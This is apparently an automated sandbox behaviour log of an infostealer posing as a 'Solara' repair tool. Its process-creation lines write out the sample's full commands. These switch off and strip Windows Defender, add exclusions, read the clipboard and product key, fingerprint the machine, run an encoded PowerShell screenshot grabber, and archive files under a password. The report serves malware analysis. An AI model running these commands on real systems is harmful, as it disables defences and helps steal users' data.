Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03

Source: C:\Users\user\Desktop\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI72642

Jump to behavior

Source: cmd.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\cmd.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: cmd.exe, 00000001.00000002.2104624049.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: cmd.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\cmd.exe

File read: C:\Users\user\Desktop\cmd.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\cmd.exe "C:\Users\user\Desktop\cmd.exe"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Users\user\Desktop\cmd.exe "C:\Users\user\Desktop\cmd.exe"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara \| Repaired', 48+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara \| Repaired', 48+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES74CA.tmp" "c:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Users\user\Desktop\cmd.exe "C:\Users\user\Desktop\cmd.exe"	Jump to behavior
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara \| Repaired', 48+16);close()""
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
